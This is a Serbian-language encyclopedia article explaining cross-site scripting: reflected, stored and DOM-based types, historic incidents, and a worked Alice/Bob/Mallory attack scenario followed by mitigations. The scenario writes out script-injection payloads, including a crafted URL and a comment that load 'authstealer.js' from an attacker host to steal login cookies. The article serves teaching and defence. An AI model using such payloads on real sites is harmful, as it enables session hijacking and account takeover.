Cross-site scripting

Из Википедије, слободне енциклопедије

Cross-site scripting (XSS) je tip propusta u kompjuterskoj bezbednosti tipično nađena u Web aplikacijama. XSS dozvoljava napadaču da injektuje klijentsku skriptu (Na primer JavaScript kod)[1] u web stranicu koja je kasnije pregledna drugim korisnicima. XSS slabost se može upotrebiti kako bi se zaobišla sigurnost sajta i samim tim izgubila kontrola nad istim, ili kako bi se ukrale informacije korisnika koji pristupaju sajtu. 2007. godine je zabeleženo da je razlog za oko 84% sigurnosnih propusta XSS.[2]

Pozadina[уреди]

Sigurnost na web-u se bazira na nekoliko mehanizma, uključujući i koncept poverenja poznat kao politika istog porekla (engl. same-origin policy). On u suštini kaže da ako bilo koji sadržaj unutar sajta (na primer https://mojabanka.primer1.com) ima dozvolu za pristup resursima u sistemu, onda svaki sadržaj na tom sajtu deli iste privilegije, dok sadržaj sa drugog sajta (na primer https://drugisajt.primer2.com) ima svoje, odvojene, dozvole.[3]

XSS upotrebljava poznate slabosti u web aplikacijama, njihovim serverima, ili plug-in sistemima na kojima se oslanjaju. Eksploetacijom jedne od ovih, napadač implementira zlonameran sadržaj unutar sadržaj samog sajta. Kada rezultujući, kombinovani, sadržaj dostigne korisnika sa klijentske strane, sav materijal dolazi od poverljivog izvora, pa zatim računar daje puna prava skriptama te stranice. Ovim načinom, injekcijom skripta u web stranice, napadač može, sa punim pravom, preuzimati podatke o podacima na osetljivim stranicama, kolačiće, i niz drugih informacija koje pretraživači čuvaju za korisnika. XSS je, pritom, specijalan način injekcije koda u web sajtove.[4]

Prvi načini injekcije su bili JavaScript kodovi, međutim načini XSS napada su gradijalno rasli, gde su danas popularni i drugi jezici za injekciju (ActiveX, Java, VBScript, Flash, ili čak HTML).[4]

XSS slabosti su prijavljene još od 1990. Oštećeni sajtovi koji su pali pod efekat XSS-a uključuju i sajtove socijalnih mreža (Twitter,[5] Facebook,[6] MySpace, YouTube i Orkut).[7][8] U skorije vreme, XSS propusti su prestigli bafer propuste i postali najčešća vrsta napada, gde je 2007. godine procenjeno da je 68% sajtova nezaštićeno od ovakvih napada.[9]

Tipovi[уреди]

Ne postoji samo jedna, standardna klasifikacija XSS propusta, već većina eksperta razlikuje bar dva načina XSS napada: neuporni i uporni. Neki ih takođe razvajaju u tradicionalne (prouzrokovana greškom serverskog koda) i DOM naklonjene (na klijentskoj strani koda).

Reflektujući (neuporni)[уреди]

Primer neupornog XSS-a
Neuporna XSS slobast u Google-u bi mogla dozvoliti zlonameran sajt da napadne Google korisnike koji ga posećuju dok su logovani.[10]

Neuporni (ili reflektujući) XSS napadi su najčešći.[10] Ove rupe se pokazuju kada podaci, koji su dodeljeni od strane web klijenta, najčešće tipa HTTP upitnički parametar ili HTML forma, budu odmah upotrebljeni od strane serverskih skripti tako da parsiraju i prikažu rezultujuću stranicu korisniku, bez ikakve ispravne sanitizacije i zahteva.[11]

Zato što HTML dokumenti imaju prostu, serijalnu strukturu, koja meša kontrole, formate i sadržaj u jedno, svaki nevalidan podatak ubačen unutar stranice bez ispravnog HTML enkodiranja može dovesti do injekcije.[10] Klasičan primer potencijalne pretnje je pretraživanje po sajtu. Ukoliko sajt nije zaštićen, korisnik u pravougaonik za pretraživanje može uneti niz karaktera koji predstavlja HTML implementaciju JavaScript koda i samim tim oštetiti sigurnost sajta. Zato je veoma važno parsirati sve načina unosa.[12]

Reflekovani napad se tipično poručuje putem email-a ili neutralnih web sajtova. Mamac je URL standardnog izgleda, koji pokazuje na sajt u koji imate poverenja, ali sadrži XSS vektor. Ukoliko je poverljiv sajt neosiguran od XSS-a, klikom na link može prouzrokovati da žrtvin pretraživač pokrene injektovanu skriptu.

Uporni[уреди]

Primer upornog XSS-a
Uporna cross-zone scripting slabost uparena sa kompjuterskim crvom je osbosobila prisluškivanje i pokretanje brojnih zlonamernih kodova u sistemu podataka preko QuickTime filmova na MySpace-u.[13]

Uporni (ili snimljeni) XSS napad je više razarajuć tip XSS slabosti. On se pojavljuje tako što se ubačeni kod snima na serveru, i zatim se trajno pojavljuje na "normalnoj" stranici. Klasičan primer ovakvog napada su komentari. Ukoliko sajt nije zaštićen, napadač može postaviti zlonameran kod unutar komentara, koji će kasnije biti sačuvan na serveru. Bilo koji korisnik koji nakon toga pristupi zaraženoj stranici je izložen tom kodu.[11]

Primera radi, pretpostavite da postoji sajt za upoznavanje, gde korisnik može pregledati tuđe profile. Radi privatnosti, sajt krije svačije i email adresu. Oni su sačuvani kao tajna na serveru. Jedini korisnik koji može videti ime i mail je sam korisnik kom pripada profil.

Napadač hoće da sazna ime korisnika na tom sajtu. Kako bi to uradio, on napiše skriptu koji se pokraće kada neko poseti njegov profil. Skripta zatim šalje poruku na njegov server o informacijama tih korisnika.

Na pitanje na sajtu "Opišite sebe", napadač daje kratak (naizgled normalan) odgovor, ali na kraju odgovora napadač još dodaje i svoju skriptu za krađu imena i email adrese. Ukoliko se skripta nalazi unutar <script> elemenata, HTML će ga protumačiti kao JavaScript i neće biti prikazan na sajtu, ali će se pokrenuti svaki put kada neki korisnik uđe na sajt, njegovo ime i email će biti preuzet i poslat na server napadača.

Uporni XSS može bizi značajniji nego bilo koji drugi napada, zato što se napad pokreće odmah po otvaranju stranice, bez ikakvog individualnog ciljanja žrtve ili navođenja na bilo kakav sajt treće strane. Na primeru iznad, skripta će uporno krasti proizvoljan broj informacija svih korisnika do onog trenutka kada administratori ne uklone tu grešku.[14]

Serverske i DOM bazirane slabosti[уреди]

Primer DOM XSS napada
Pre rešavanja greške, Bugzilla stranice za greške su bile otvarane u DOM baziranom XSS napadu u kom je proizvoljan broj HTML-a i skripti moglo biti injektovano pomoću forsiranih poruka greške.[15]

Istorijski, prvi XSS napad je nađen u aplikaciji koja je sve podatke procesovala unutar servera. Korisnički unos (uključujući i XSS vektor) bi se slao na server, i zatim nazad korisniku kao web stranica. Potreba za boljom interakcijom korisnika dovela je do toga da se većina ranije serverskih zadataka danas izvršava na klijentskom nivou (na primer pomoću JavaScript-a), pa i da se zahtevi izvršavaju klijentski pomoću AJAX-a.

Kako se JavaScript sve češće pojavljivao, nova podklasa XSS napada je započela, nazvan DOM bazirani XSS napad.U DOM baziranom XSS napadu, zlonameran podatak ne dotiče server, već se potpuno reflektuje na klijentskom nivou.[16]

Primer DOM bazirane XSS-a je greška koja je pronađena 2011 u nekoliko JQuery nadogradnji.[17] Prevencija DOM baziranih XSS uključuje veoma slične mere kao tradicionalni XSS, osim što implementira JavaScript kod u poslatu web stranu.[18]

Primeri eksploitacija[уреди]

Napadač koji ima nameru da izvrši eksploitaciju XSS slabosti mora pristupiti klasi svake slabosti na drugi način. Za svaku klasu, specifičan napadački vektor je opisan ovde. Imena ispod su tehnički termini, uzeti iz baze imena koja su često korišćena u kompjuterskoj sigurnosti.

Neuporni:

  1. Alisa često posećuje specifičan websajt, koji hostuje Bob. Bobov websajt dozvoljava Alisi da se prijavi sa korisničkim imenom i šifrom i da postavlja osetljive podatke, kao što su broj računa. Kada se korisnik prijavi, njihov pretraživač čuva kolačić autorizacije, koji izgleda kao niz nasumičnih karaktera, tako da oba kompjutera znaju da se ona prijavila.
  2. Malori primećuje da Bobov sajt nije zaštićen od XSS napada:
    1. Kada poseti stranicu pretrage, ubacuje termin pretrage u kutiju za pretragu i klikne na submit. Ukoliko nijedan rezultat nije pronađen, stranica prikazuje termin koji je ona pretraživala, zajedno sa porukom "nije nađeno", i URL će biti http://bobsajt.org?q=njena+pretraga
    2. Sa normalnom pretragom, na primer rečju "kučence", stranica jednostavno prikazuje "kučence nije nađeno", i URL će biti http://bobsajt.org/?q=ku%C4%8Dence (%C4%8D je utf-8 oznaka za č), što je normalno ponašanje.
    3. Međutim kada ubaci abnormalni upit, kao na primer "<script type='text/javascript'>alert('radi!');</script>",
      1. Prozor upozorenja iskače sa porukom "radi!",
      2. Stranica prikazuje "<script type='text/javascript'>alert('radi!');</script> nije nađeno", zajedno sa prozorom upozorenja "radi!",
      3. i URL je "http://bobsajt.org?=<script%20type='text/javascript'>alert('radi!');</script> - što je zloupotrebljivo ponašanje.
  3. Malori pravi URL za zloupotrebu slabosti.
    1. Pravi sledeći URL http://bobsajt.org?q=ku%C4%8Dence<script%20src="http://malorisajt.com/authstealer.js"> i,
    2. šalje email nekom korisniku Bobovog sajta koji ne očekuje da je on zarazan sa porukom "Vidi ove slatke kuce!"
  4. Alisa dobija email. Ona voli kučiće i klikne na link. On je odvede na Bobov sajt koji ne nađe ništa i prikaže "kučence nije nađeno" ali između ta dva, pokreće se skripta i učitava Malorijev program authstealer.js (ovo je fajl koji zaista postoji). Alisa zaboravi na to.
  5. authstealer.js program se pokreće na Alisovom pretraživaču, kao da je deo Bobovog sajta. On preuzima kopiju Alisinog kolačića autorizacije i šalje ga na Malorijev server, gde ga ona i prima.
  6. Zatim Malori postavlja preuzeti kolačić na svoj pretraživač i pristupa Bobovom sajtu kao da je ona Alisa.
  7. Malori zatim odlazi na stranicu gde pregleda informacije vezane za Alisin račun i pravi kopiju. Nakon toga menja šifru tako da Alisa ne može pristupiti svom nalogu.
  8. Malori ide korak dalje i šalje isti link Bobu, pecajući ga kako bi dobila administratorska prava sajta.

Nekoliko stvari je moglo sprečiti ovakav napad:

  1. Polje za pretragu je moglo biti sanitizovano, što uključuje pravilnu enkodaciju.
  2. Web server je mogao biti podešen da odbija nevalidne zahteve.
  3. Web server je mogao da detektuje simulativno prijavljivanje i poništi sesiju.
  4. Web server je mogao da detektuje simulativno prijavljivanje sa 2 različite IP adrese i poništi sesiju.
  5. Websajt je mogao da bude podešen tako da samo prikaže poslednjih nekoliko brojeva računa.
  6. Websajt je mogao da zatraži staru korisničku šifru pre nego što je ona mogla biti promenjena.
  7. Websajt je mogao pokrenuti razne činove iz Sigurnosti Korisničkih Prava (engl. Content Security Policy)
  8. I najvažnije od svega korisnici su mogli biti upozoreni od raznih linkova sumnjivog izgleda.

Uporni napadi:

  1. Malori preuzme Bobov nalog na njegovom websajtu.
  2. Malori posmatra Bobov websajt i primećuje snimljenu XSS slabost. Ako odete u Novosti i postavite komentar, biće prikazano šta god ona unese. Međutim, ukoliko unese bilo kakav HTML kod, tagovi će se sakriti i HTML kod će se pokrenuti.
  3. Malori pročita članak i postavi komentar: "Ja volim kuce!<script src="http://malorisajt.com/authstealer.js">"
  4. Kad god Alisa uđe na link, sve njene informacije se šalju na Malorijev server.
  5. Malori sad može da krade Alisin sajt, koliko god ona puta menjala šifru, dokle god ona bude ulazila na "zaraženu" stranu.[19]

Framework[уреди]

Pretraživač-exploitacija Framework (engl. The Browser Exploitation Framework) može biti upotrebljen za napad websajtova i njegovih korisnika.[20][21]

Vidi još[уреди]

  1. Računarska sabotaža
  2. Tipovi kriminala na internetu
  3. Bezbednost veb aplikacija

Reference[уреди]